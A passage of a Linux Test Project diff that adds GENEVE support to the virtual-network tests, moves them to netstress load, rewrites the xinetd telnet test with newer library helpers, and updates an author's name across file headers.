 		echo "p x      x and x + 1 are ports in TCP perf"
 		echo "n x      virtual network 192.168.x"
-		echo "l x      network load: x is PING or TFO(tcp_fastopen)"
 		echo "t x      performance threshold, default is 60%"
 		echo "d x      VxLAN destination address, 'uni' or 'multi'"
 		echo "6        run over IPv6"
@@ -77,7 +75,6 @@
 		ip_virt_local="192.168.${OPTARG}.1"
 		ip_virt_remote="192.168.${OPTARG}.2"
 	;;
-	l) net_load=$OPTARG ;;
 	t) VIRT_PERF_THRESHOLD=$OPTARG ;;
 	d) vxlan_dst_addr=$OPTARG ;;
 	6) # skip, test_net library already processed it
@@ -103,13 +100,17 @@
 virt_add()
 {
 	local vname=$1
-	local opt="${@:2}"
+	shift
+	local opt="$*"
 
 	case $virt_type in
 	vlan|vxlan)
 		[ -z "$opt" ] && opt="id 4094"
 		[ "$vxlan_dstport" -eq 1 ] && opt="dstport 0 $opt"
 	;;
+	geneve)
+		[ -z "$opt" ] && opt="id 4094 remote $(tst_ipaddr rhost)"
+	;;
 	gre|ip6gre)
 		[ -z "$opt" ] && \
 			opt="remote $(tst_ipaddr rhost) dev $(tst_iface)"
@@ -117,7 +118,7 @@
 	esac
 
 	case $virt_type in
-	vxlan)
+	vxlan|geneve)
 		ip li add $vname type $virt_type $opt
 	;;
 	gre|ip6gre)
@@ -133,7 +134,7 @@
 {
 	local opt=""
 	case $virt_type in
-	vxlan)
+	vxlan|geneve)
 		[ "$vxlan_dstport" -eq 1 ] && opt="dstport 0"
 		tst_rhost_run -s -c "ip li add ltp_v0 type $virt_type $@ $opt"
 	;;
@@ -216,10 +217,11 @@
 
 vxlan_setup_subnet_uni()
 {
-	tst_kvercmp 3 10 0 && \
+	if tst_kvcmp -lt "3.10"; then
 		tst_brkm TCONF "test must be run with kernel 3.10 or newer"
+	fi
 
-	[ "$(ip li add type vxlan help 2>&1 | grep remote)" ] || \
+	[ "$(ip li add type $virt_type help 2>&1 | grep remote)" ] || \
 		tst_brkm TCONF "iproute doesn't support remote unicast address"
 
 	local opt="$1 remote $(tst_ipaddr rhost)"
@@ -250,31 +252,27 @@
 
 virt_compare_netperf()
 {
-	local ret=0
-	local expected_result=${1:-"pass"}
+	local ret1="pass"
+	local ret2="pass"
+	local expect_res="${1:-pass}"
 
-	tst_netload $ip_virt_remote res_ipv4 $net_load || ret=1
-	tst_netload ${ip6_virt_remote}%ltp_v0 res_ipv6 $net_load || ret=1
+	tst_netload -H $ip_virt_remote -a $clients_num -R $max_requests \
+		-r $client_requests -d res_ipv4 -e $expect_res || ret1="fail"
+
+	tst_netload -H ${ip6_virt_remote}%ltp_v0 -a $clients_num \
+		-R $max_requests -r $client_requests -d res_ipv6 \
+		-e $expect_res || ret2="fail"
 
 	ROD_SILENT "ip link delete ltp_v0"
 	tst_rhost_run -s -c "ip link delete ltp_v0"
 
-	if [ "$ret" -eq 1 ]; then
-		if [ "$expected_result" = "pass" ]; then
-			tst_resm TFAIL "Test with virtual iface failed"
-		else
-			tst_resm TPASS "Test failed as expected"
-		fi
-		return
-	fi
+	[ "$ret1" = "fail" -o "$ret2" = "fail" ] && return
+
 	local vt="$(cat res_ipv4)"
 	local vt6="$(cat res_ipv6)"
 
-	tst_netload $ip_remote res_ipv4 $net_load
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "Test with $ip_remote failed"
-		return
-	fi
+	tst_netload -H $ip_remote -a $clients_num -R $max_requests \
+		-r $client_requests -d res_ipv4
 
 	local lt="$(cat res_ipv4)"
 	tst_resm TINFO "time lan($lt) $virt_type IPv4($vt) and IPv6($vt6) ms"
@@ -283,13 +281,13 @@
 	per6=$(( $vt6 * 100 / $lt - 100 ))
 
 	case "$virt_type" in
-	vxlan)
-		tst_resm TINFO "IPv4 VxLAN over IPv$ipver slower by $per %"
-		tst_resm TINFO "IPv6 VxLAN over IPv$ipver slower by $per6 %"
+	vxlan|geneve)
+		tst_resm TINFO "IP4 $virt_type over IP$ipver slower by $per %"
+		tst_resm TINFO "IP6 $virt_type over IP$ipver slower by $per6 %"
 	;;
 	*)
-		tst_resm TINFO "IPv4 $virt_type slower by $per %"
-		tst_resm TINFO "IPv6 $virt_type slower by $per6 %"
+		tst_resm TINFO "IP4 $virt_type slower by $per %"
+		tst_resm TINFO "IP6 $virt_type slower by $per6 %"
 	esac
 
 	if [ "$per" -ge "$VIRT_PERF_THRESHOLD" -o \
@@ -370,13 +368,13 @@
 tst_require_root
 
 case "$virt_type" in
-vxlan)
-	tst_kvercmp 3 8 0 && \
+vxlan|geneve)
+	if tst_kvcmp -lt "3.8"; then
 		tst_brkm TCONF "test must be run with kernel 3.8 or newer"
+	fi
 
-	if [ "$TST_IPV6" ]; then
-		tst_kvercmp 3 12 0 && \
-			tst_brkm TCONF "test must be run with kernels >= 3.12"
+	if [ "$TST_IPV6" ] && tst_kvcmp -lt "3.12"; then
+		tst_brkm TCONF "test must be run with kernels >= 3.12"
 	fi
 
 	# newer versions of 'ip' complain if this option not set
diff --git a/testcases/network/virt/vlan03.sh b/testcases/network/virt/vlan03.sh
index 0624383..0d259e1 100755
--- a/testcases/network/virt/vlan03.sh
+++ b/testcases/network/virt/vlan03.sh
@@ -18,7 +18,7 @@
 #
 # Test-case 1: It requires remote host. Test will setup IPv4 and IPv6 virtual
 #              sub-nets between two hosts, then will compare TCP performance
-#              with and without VLAN using ping or tcp_fastopen test.
+#              with and without VLAN using ping or netstress test.
 #
 # Test-case 2: The same as above but must fail, because VLAN allows
 #              to communicate only within the same VLAN segment.
@@ -34,18 +34,10 @@
 cleanup()
 {
 	cleanup_vifaces
-	tst_rhost_run -c "ip link delete ltp_v0"
-	if [ "$net_load" = "TFO" ]; then
-		tst_rhost_run -c "pkill -9 tcp_fastopen\$"
-		pkill -9 "tcp_fastopen\$"
-	fi
+	tst_rhost_run -c "ip link delete ltp_v0 2>/dev/null"
 }
 TST_CLEANUP="cleanup"
 
-if [ "$net_load" = "TFO" ]; then
-	tst_check_cmds "tcp_fastopen"
-fi
-
 if [ -z $ip_local -o -z $ip_remote ]; then
 	tst_brkm TBROK "you must specify IP address"
 fi
diff --git a/testcases/network/virt/vxlan02.sh b/testcases/network/virt/vxlan02.sh
index 0b3a21c..e0d0fe5 100755
--- a/testcases/network/virt/vxlan02.sh
+++ b/testcases/network/virt/vxlan02.sh
@@ -30,8 +30,9 @@
 . test_net.sh
 . virt_lib.sh
 
-opt="group 239.1.1.1"
+[ "$TST_IPV6" ] && mult_addr="ff02::abc" || mult_addr="239.1.1.1"
+opt="group $mult_addr"
 
-virt_add_delete_test "id $start_id $opt"
+virt_add_delete_test "id $start_id $opt dev $(tst_iface)"
 
 tst_exit
diff --git a/testcases/network/virt/vxlan03.sh b/testcases/network/virt/vxlan03.sh
index e86d119..d1c0afb 100755
--- a/testcases/network/virt/vxlan03.sh
+++ b/testcases/network/virt/vxlan03.sh
@@ -18,7 +18,7 @@
 #
 # Test-case 1: It requires remote host. Test will setup IPv4 and IPv6 virtual
 #              sub-nets between two hosts, then will compare TCP performance
-#              with and without VxLAN using ping or tcp_fastopen test.
+#              with and without VxLAN using ping or netstress test.
 #
 # Test-case 2: The same as above but must fail, because VXLAN allows
 #              to communicate only within the same VXLAN segment.
@@ -45,18 +45,10 @@
 cleanup()
 {
 	cleanup_vifaces
-	tst_rhost_run -c "ip link delete ltp_v0"
-	if [ "$net_load" = "TFO" ]; then
-		tst_rhost_run -c "pkill -9 tcp_fastopen\$"
-		pkill -9 "tcp_fastopen\$"
-	fi
+	tst_rhost_run -c "ip link delete ltp_v0 2>/dev/null"
 }
 TST_CLEANUP="cleanup"
 
-if [ "$net_load" = "TFO" ]; then
-	tst_check_cmds "tcp_fastopen"
-fi
-
 if [ -z $ip_local -o -z $ip_remote ]; then
 	tst_brkm TBROK "you must specify IP address"
 fi
diff --git a/testcases/network/xinetd/Makefile b/testcases/network/xinetd/Makefile
index c3a8073..cdaadb1 100644
--- a/testcases/network/xinetd/Makefile
+++ b/testcases/network/xinetd/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/network/xinetd/xinetd_tests.sh b/testcases/network/xinetd/xinetd_tests.sh
index e50a511..fb43448 100755
--- a/testcases/network/xinetd/xinetd_tests.sh
+++ b/testcases/network/xinetd/xinetd_tests.sh
@@ -1,114 +1,42 @@
 #!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2001
 #
-# File :         xinetd_tests.sh
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
 #
-# Description:   Test Basic functionality of xinetd command.
-#                Test #1: xinetd starts programs that provide Internet services.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-# Author:        Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:       Mar 04 2003 - Created - Manoj Iyer.
-#
-# Function:     chk_ifexists
-#
-# Description:  - Check if command required for this test exits.
-#
-# Input:        - $1 - calling test case.
-#               - $2 - command that needs to be checked.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-chk_ifexists()
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+TCID=xinetd
+TST_TOTAL=2
+TST_CLEANUP="cleanup"
+
+. daemonlib.sh
+. test_net.sh
+
+setup()
 {
-    which $2 > $LTPTMP/tst_xinetd.err 2>&1
-    RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_brkm TBROK NULL "$1: command $2 not found."
-    fi
-    return $RC
-}
+	[ -f "/usr/lib/systemd/system/telnet.socket" ] && \
+		tst_brkm TCONF "xinetd doesn't manage telnet"
 
+	tst_tmpdir
 
-# Function: init
-#
-# Description:  - Check if command required for this test exits.
-#               - Create temporary directories required for this test.
-#               - Initialize global variables.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-init()
-{
-    # Initialize global variables.
-    export TST_TOTAL=2
-    export TCID="xinetd"
-    export TST_COUNT=0
-    . daemonlib.sh
+	tst_check_cmds xinetd diff ip telnet
 
-    if [ -f "/usr/lib/systemd/system/telnet.socket" ]; then
-        tst_brkm TCONF NULL "xinetd doesn't manage telnet"
-        exit $?
-    fi
+	check_addr="127.0.0.1"
+	ip a | grep -q inet6 && check_addr="$check_addr ::1"
 
-    # Inititalize cleanup function.
-    trap "cleanup" 0
-
-    # create the temporary directory used by this testcase
-    if [ -z $TMP ]
-    then
-        LTPTMP=/tmp/tst_xinetd.$$
-    else
-        LTPTMP=$TMP/tst_xinetd.$$
-    fi
-
-    mkdir -p $LTPTMP > /dev/null 2>&1
-    RC=$?
-    if [ $RC -ne 0 ]
-    then
-         tst_brkm TBROK NULL "INIT: Unable to create temporary directory"
-         return $RC
-    fi
-
-    # sometimes the default telnet may be /usr/kerberos/bin/telnet
-    TELNET_COMM='/usr/bin/telnet'
-
-    # check if commands tst_*, xinetd, awk exists.
-    chk_ifexists INIT tst_resm   || return $RC
-    chk_ifexists INIT xinetd     || return $RC
-    chk_ifexists INIT diff       || return $RC
-    chk_ifexists INIT ip         || return $RC
-    chk_ifexists INIT $TELNET_COMM || return $RC
-
-    IPV6_ENABLED=0
-    ip a | grep inet6 > /dev/null 2>&1
-    if [ $? -eq 0 ]
-    then
-        IPV6_ENABLED=1
-    fi
-
-    # Create custom xinetd.conf file.
-    # tst_xinetd.conf.1 config file has telnet service disabled.
-    cat > $LTPTMP/tst_xinetd.conf.1 <<-EOF
+	# Create custom xinetd.conf file.
+	# tst_xinetd.conf.1 config file has telnet service disabled.
+	cat > tst_xinetd.conf.1 <<-EOF
 defaults
 {
     instances      = 25
@@ -118,10 +46,8 @@
     disabled       = telnet
 }
 EOF
-RC=$?
 
-    # tst_xinetd.conf.2 config file has telnet enabled.
-    cat > $LTPTMP/tst_xinetd.conf.2 <<-EOF
+	cat > tst_xinetd.conf.2 <<-EOF
 defaults
 {
     instances      = 25
@@ -143,293 +69,76 @@
     flags           = IPv6
 }
 EOF
-RC=$?
 
-    # Create expected file with telnet disabled.
-    cat > $LTPTMP/tst_xinetd.exp.1 <<-EOF
-telnet: connect to address 127.0.0.1: Connection refused
-EOF
-RC=$?
-
-    if [ $RC -ne 0 ]
-    then
-        tst_brkm TBROK  NULL \
-            "INIT: unable to create expected file $LTPTMP/tst_xinetd.exp.1"
-        return $RC
-    fi
-
-    if [ $IPV6_ENABLED -eq 1 ]
-    then
-        cat > $LTPTMP/tst_xinetd.exp.1.ipv6 <<-EOF
-telnet: connect to address ::1: Connection refused
-EOF
-RC=$?
-
-        if [ $RC -ne 0 ]
-        then
-            tst_brkm TBROK NULL \
-                "INIT: unable to create expected file $LTPTMP/tst_xinetd.exp.1"
-        fi
-    fi
-
-    # Create expected file with telnet enabled.
-    cat > $LTPTMP/tst_xinetd.exp.2 <<-EOF
-Trying 127.0.0.1...
-Connected to 127.0.0.1.
-Escape character is '^]'.
-Connection closed by foreign host.
-EOF
-RC=$?
-
-    if [ $RC -ne 0 ]
-    then
-        tst_brkm TBROK  NULL \
-            "INIT: unable to create expected file $LTPTMP/tst_xinetd.exp.2"
-        return $RC
-    fi
-
-    if [ $IPV6_ENABLED -eq 1 ]
-    then
-        cat > $LTPTMP/tst_xinetd.exp.2.ipv6 <<-EOF
-Trying ::1...
-Connected to ::1.
-Escape character is '^]'.
-Connection closed by foreign host.
-EOF
-RC=$?
-
-        if [ $RC -ne 0 ]
-        then
-            tst_brkm TBROK NULL \
-                "INIT: unable to create expected file $LTPTMP/tst_xinetd.exp.2.ipv6"
-        fi
-    fi
-
-    return $RC
+	# create a backup of the original xinetd.conf file.
+	ROD mv /etc/xinetd.conf xinetd.conf.orig
 }
 
-
-# Function:     cleanup
-#
-# Description:  - remove temporaty files and directories.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
 cleanup()
 {
-    # restore the original xinetd.conf if a back up exits.
-    if [ -f /etc/xinetd.conf.orig ]
-    then
-        mv /etc/xinetd.conf.orig /etc/xinetd.conf \
-            > $LTPTMP/tst_xinetd.err 2>&1
-        RC=$?
-        if [ $RC -ne 0 ]
-        then
-            tst_res TINFO $LTPTMP/tst_xinetd.err \
-            "CLEANUP: failed restoring original xinetd.conf RC=$RC. Details:"
-        fi
+	# restore the original xinetd.conf if a back up exits.
+	[ -f xinetd.conf.orig ] && \
+		mv xinetd.conf.orig /etc/xinetd.conf
 
-        sleep 1s
+	# restoring original services
+	restart_daemon xinetd
 
-        # restoring original services
-        restart_daemon xinetd > $LTPTMP/tst_xinetd.err 2>&1
-        RC=$?
-        if [ $RC -ne 0 ]
-        then
-            tst_res TINFO $LTPTMP/tst_xinetd.err \
-            "CLEANUP: failed restoring original services RC=$RC. Details:"
-        fi
-    fi
-
-    # remove all the temporary files created by this test.
-    tst_resm TINFO "CLEAN: removing $LTPTMP"
-    rm -fr $LTPTMP
+	tst_rmdir
 }
 
+restart_xinetd()
+{
+	tst_resm TINFO "restart xinetd"
+	# restart xinetd to re-start the services
+	restart_daemon xinetd > tst_xinetd.out 2>&1
+	if [ $? -ne 0 ]; then
+		cat tst_xinetd.out
+		tst_brkm TBROK "unable to restart service with telnet disabled"
+	fi
 
-# Function:     test01
-#
+	# even if xinetd restart has zero exit value,
+	# make certain there was no failure.
+	grep -qi "fail" tst_xinetd.out && \
+		tst_brkm TBROK "xinetd failed to restart"
+}
+
 # Description:  - Test that xinetd reads the configuration file and starts or
 #                 stops services.
 #               - restart xinetd with configuration file with telnet disabled.
 #               - telnet to locahost should fail.
 #               - restart xinetd with configuration file with telnet enabled.
 #               - telnet to locahost should work.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
 test01()
 {
-    TCID=xinetd01
-    TST_COUNT=1
-    nhops=0             # Number of hops required to get to host.
+	tst_resm TINFO "install the new config file with telnet disabled"
+	ROD mv tst_xinetd.conf.1 /etc/xinetd.conf
+	restart_xinetd
 
-    tst_resm TINFO "Test #1: restart xinetd with telnet disabled."
+	for a in $check_addr; do
+		echo '' | telnet $a 2>&1 | grep -qi \
+			"telnet: connect to address $a: Connection refused"
+		[ $? -ne 0 ] && \
+			tst_brkm TFAIL "not expected output for 'telnet $a'"
+	done
 
-    # create a backup of the original xinetd.conf file.
-    mv /etc/xinetd.conf /etc/xinetd.conf.orig > $LTPTMP/tst_xinetd.err 2>&1
-    RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_brk TBROK $LTPTMP/tst_xinetd.err NULL \
-            "Test #1: Failed while backing up original xinetd.conf. Details"
-        return $RC
-    fi
+	tst_resm TPASS "expected output with telnet disabled"
 
-    # install the new config file with telnet disabled.
-    mv $LTPTMP/tst_xinetd.conf.1 /etc/xinetd.conf > $LTPTMP/tst_xinetd.err 2>&1
-    RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_brk TBROK $LTPTMP/tst_xinetd.err NULL \
-            "Test #1: Failed installing new xinetd.conf in /etc. Details:"
-        return $RC
-    fi
+	tst_resm TINFO "install the xinetd config file with telnet enabled"
+	ROD mv tst_xinetd.conf.2 /etc/xinetd.conf
+	restart_xinetd
 
-    tst_resm TINFO "Test #1: new xinetd.conf installed with telnet disabled."
+	for a in $check_addr; do
+		echo '' | telnet $a 2>&1 | grep -qi \
+			"Connection closed by foreign host"
+		[ $? -ne 0 ] && \
+			tst_brkm TFAIL "not expected output for 'telnet $a'"
+	done
 
-    sleep 1s
-
-    # restart xinetd to re-start the services
-    restart_daemon xinetd > $LTPTMP/tst_xinetd.out 2>&1
-    RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_res TFAIL $LTPTMP/tst_xinetd.out \
-       "Test #1: unable to restart service with telnet disabled. Details:"
-        return $RC
-    else
-        # even if xinetd restart has zero exit value,
-        # make certain there was no failure.
-        grep -i "fail" $LTPTMP/tst_xinetd.out > $LTPTMP/tst_xinetd.err 2>&1
-        RC=$?
-        if [ $RC -eq 0 ]
-        then
-            tst_res TFAIL $LTPTMP/tst_xinetd.err \
-                "Test #1: xinetd failed to restart. Details"
-            return $RC
-        else
-            RC=0
-            tst_resm TINFO \
-                "Test #1: xinetd re-started successfully with telnet disabled."
-        fi
-    fi
-
-    # Not checking for exit code from telnet command because telnet is
-    # not terminated by the test gracefully.
-    if [ $IPV6_ENABLED -eq 1 ]
-    then
-        tst_retry "echo '' | $TELNET_COMM ::1 2>$LTPTMP/tst_xinetd.out.ipv6 \
-            1>/dev/null"
-        diff -iwB $LTPTMP/tst_xinetd.out.ipv6  $LTPTMP/tst_xinetd.exp.1.ipv6 \
-            > $LTPTMP/tst_xinetd.err.ipv6 2>&1
-        RC=$?
-        if [ $RC -ne 0 ]
-        then
-            tst_res TFAIL $LTPTMP/tst_xinetd.err.ipv6 \
-                "Test #1: with telnet diabled expected out differs RC=$RC. Details:"
-            return $RC
-        fi
-    fi
-
-    tst_retry "echo "" | $TELNET_COMM 127.0.0.1 2>$LTPTMP/tst_xinetd.out \
-        1>/dev/null"
-    diff -iwB $LTPTMP/tst_xinetd.out  $LTPTMP/tst_xinetd.exp.1 \
-        > $LTPTMP/tst_xinetd.err 2>&1
-    RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_res TFAIL $LTPTMP/tst_xinetd.err \
-            "Test #1: with telnet diabled expected out differs RC=$RC. Details:"
-        return $RC
-    fi
-
-    tst_resm TINFO "Test #1: restart xinetd with telnet enabled."
-    # install the xinetd config file with telnet enabled.
-    mv $LTPTMP/tst_xinetd.conf.2 /etc/xinetd.conf > $LTPTMP/tst_xinetd.err 2>&1
-    RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_brk TBROK $LTPTMP/tst_xinetd.err NULL \
-            "Test #1: Failed installing new xinetd.conf in /etc. Details:"
-        return $RC
-    fi
-
-    tst_resm TINFO "Test #1: new xinetd.conf installed with telnet enabled."
-
-    sleep 1s
-
-    # restart services.
-    restart_daemon xinetd > $LTPTMP/tst_xinetd.out 2>&1
-    RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_res TFAIL $LTPTMP/tst_xinetd.out \
-            "Test #1: unable to restart services with telnet enabled. Details:"
-        return $RC
-    else
-        # even if restart has a zero exit value double check for failure.
-        grep -i "fail" $LTPTMP/tst_xinetd.out > $LTPTMP/tst_xinetd.err 2>&1
-        RC=$?
-        if [ $RC -eq 0 ]
-        then
-            tst_res TFAIL $LTPTMP/tst_xinetd.err \
-                "Test #1: xinetd failed to restart. Details"
-            return $RC
-        else
-            RC=0
-            tst_resm TINFO \
-                "Test #1: xinetd re-started successfully with telnet enabled."
-        fi
-    fi
-
-    # Not checking for exit code from telnet command because telnet is
-    # not terminated by the test gracefully.
-    if [ $IPV6_ENABLED -eq 1 ]
-    then
-        tst_retry "echo '' | $TELNET_COMM ::1 2>$LTPTMP/tst_xinetd.out.ipv6 2>&1"
-        diff -iwB $LTPTMP/tst_xinetd.out.ipv6  $LTPTMP/tst_xinetd.exp.2.ipv6 \
-            > $LTPTMP/tst_xinetd.err.ipv6 2>&1
-        RC=$?
-        if [ $RC -ne 0 ]
-        then
-            tst_res TFAIL $LTPTMP/tst_xinetd.err.ipv6 \
-                "Test #1: with telnet diabled expected out differs RC=$RC. Details:"
-            return $RC
-        else
-            tst_resm TPASS \
-            "Test #1: xinetd reads the config file and starts or stops IPv6 services."
-        fi
-    fi
-
-    test_retry "echo '' | $TELNET_COMM 127.0.0.1 2>$LTPTMP/tst_xinetd.out 2>&1"
-
-    diff -iwB $LTPTMP/tst_xinetd.out  $LTPTMP/tst_xinetd.exp.2 \
-        > $LTPTMP/tst_xinetd.err 2>&1
-    RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_res TFAIL $LTPTMP/tst_xinetd.err \
-            "Test #1: expected output differes from actual. Details:"
-        return $RC
-    else
-        tst_resm TPASS \
-        "Test #1: xinetd reads the config file and starts or stops services."
-    fi
-
-    return $RC
+	tst_resm TPASS "expected output with telnet enabled"
 }
 
+setup
 
-# Function:    main
-#
-# Description:    - Execute all tests and report results.
-#
-# Exit:            - zero on success
-#               - non-zero on failure.
+test01
 
-init || exit $?
-
-test01 || RC=$?
-
-exit $RC
+tst_exit
diff --git a/testcases/open_posix_testsuite/.gitignore b/testcases/open_posix_testsuite/.gitignore
index 56c9477..7ddf3cd 100644
--- a/testcases/open_posix_testsuite/.gitignore
+++ b/testcases/open_posix_testsuite/.gitignore
@@ -12,3 +12,4 @@
 /stress/*/*/Makefile
 
 /bin/t0
+run.sh
diff --git a/testcases/open_posix_testsuite/BUILD b/testcases/open_posix_testsuite/BUILD
index 0921405..2fd7f07 100644
--- a/testcases/open_posix_testsuite/BUILD
+++ b/testcases/open_posix_testsuite/BUILD
@@ -181,4 +181,4 @@
 		Adam Li
 Contributors:	Jerome Marchand
 		Ulrich Drepper
-		Garrett Cooper
+		Ngie Cooper
diff --git a/testcases/open_posix_testsuite/COPYING b/testcases/open_posix_testsuite/COPYING
index e6c82e3..02f6fcc 100644
--- a/testcases/open_posix_testsuite/COPYING
+++ b/testcases/open_posix_testsuite/COPYING
@@ -1,4 +1,4 @@
-All sourcecode generated from scratch by Garrett Cooper is BSD 2-clause
+All sourcecode generated from scratch by Ngie Cooper is BSD 2-clause
 licensed. All legacy openposix test suite code is GPLv2+ licensed.
 
 You must honor the respective license when copying code.
diff --git a/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests b/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests
index 39c66e4..0231838 100644
--- a/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests
+++ b/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests
@@ -112,4 +112,4 @@
 Contributors:	rusty.lynch REMOVE-THIS AT intel DOT com
 		julie.n.fleischer REMOVE-THIS AT intel DOT com
 		rolla.n.selbak REMOVE-THIS AT intel DOT com
-		yanegomi REMOTE-THIS AT gmail DOT com
+		yaneurabeya REMOVE-THIS AT gmail DOT com
diff --git a/testcases/open_posix_testsuite/Makefile b/testcases/open_posix_testsuite/Makefile
index e1c7bcd..0601fa6 100644
--- a/testcases/open_posix_testsuite/Makefile
+++ b/testcases/open_posix_testsuite/Makefile
@@ -1,7 +1,7 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 # Makefiles that are considered critical to execution; if they don't exist
diff --git a/testcases/open_posix_testsuite/bin/Makefile b/testcases/open_posix_testsuite/bin/Makefile
index b36e8a9..d9fd138 100644
--- a/testcases/open_posix_testsuite/bin/Makefile
+++ b/testcases/open_posix_testsuite/bin/Makefile
@@ -1,7 +1,7 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, July 2010
+# Ngie Cooper, July 2010
 #
 
 top_srcdir?=		..
diff --git a/testcases/open_posix_testsuite/bin/run-all-posix-option-group-tests.sh b/testcases/open_posix_testsuite/bin/run-all-posix-option-group-tests.sh
index 39ff989..9a255d6 100755
--- a/testcases/open_posix_testsuite/bin/run-all-posix-option-group-tests.sh
+++ b/testcases/open_posix_testsuite/bin/run-all-posix-option-group-tests.sh
@@ -4,7 +4,7 @@
 #
 # See COPYING for licensing details.
 #
-# Garrett Cooper, July 2010
+# Ngie Cooper, July 2010
 #
 
 FAILED=0
diff --git a/testcases/open_posix_testsuite/bin/run-tests.sh b/testcases/open_posix_testsuite/bin/run-tests.sh
index 5ee5687..c2fddcf 100755
--- a/testcases/open_posix_testsuite/bin/run-tests.sh
+++ b/testcases/open_posix_testsuite/bin/run-tests.sh
@@ -5,7 +5,7 @@
 #
 # run_test contains logic moved out of Makefile.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 LOGFILE=${LOGFILE:=logfile}
diff --git a/testcases/open_posix_testsuite/conformance/Makefile b/testcases/open_posix_testsuite/conformance/Makefile
index 2c6c557..c101b7f 100644
--- a/testcases/open_posix_testsuite/conformance/Makefile
+++ b/testcases/open_posix_testsuite/conformance/Makefile
@@ -1,7 +1,7 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 all clean distclean-makefiles install test:
diff --git a/testcases/open_posix_testsuite/conformance/behavior/Makefile b/testcases/open_posix_testsuite/conformance/behavior/Makefile
index 376afcd..b09527f 100644
--- a/testcases/open_posix_testsuite/conformance/behavior/Makefile
+++ b/testcases/open_posix_testsuite/conformance/behavior/Makefile
@@ -1,7 +1,7 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 all clean install test:
diff --git a/testcases/open_posix_testsuite/conformance/definitions/Makefile b/testcases/open_posix_testsuite/conformance/definitions/Makefile
index 376afcd..b09527f 100644
--- a/testcases/open_posix_testsuite/conformance/definitions/Makefile
+++ b/testcases/open_posix_testsuite/conformance/definitions/Makefile
@@ -1,7 +1,7 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 all clean install test:
diff --git a/testcases/open_posix_testsuite/conformance/definitions/mqueue_h/1-1.c b/testcases/open_posix_testsuite/conformance/definitions/mqueue_h/1-1.c
index 5b29a9c..7bd3435 100644
--- a/testcases/open_posix_testsuite/conformance/definitions/mqueue_h/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/definitions/mqueue_h/1-1.c
@@ -1,5 +1,5 @@
 /*
- * Garrett Cooper, August 2010
+ * Ngie Cooper, August 2010
  *
  * Verify that mq_flags, mq_maxmsg, mq_msgsize, and mq_curmsgs exist in the
  * struct mq_attr structure and are long integers as per the
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/Makefile b/testcases/open_posix_testsuite/conformance/interfaces/Makefile
index 376afcd..b09527f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/Makefile
+++ b/testcases/open_posix_testsuite/conformance/interfaces/Makefile
@@ -1,7 +1,7 @@
 #
 # Read COPYING for licensing details.
 #
-# Garrett Cooper, June 2010
+# Ngie Cooper, June 2010
 #
 
 all clean install test:
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c
index 7cf377d..fb49ce4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c
@@ -13,8 +13,7 @@
  *
  * method: Testing for a non NULL timeout
  *
- *	- write to a file
- *	- submit a list of read requests
+ *	- submit a list of write requests
  *	- check that the selected request has not completed
  *	- suspend on selected request
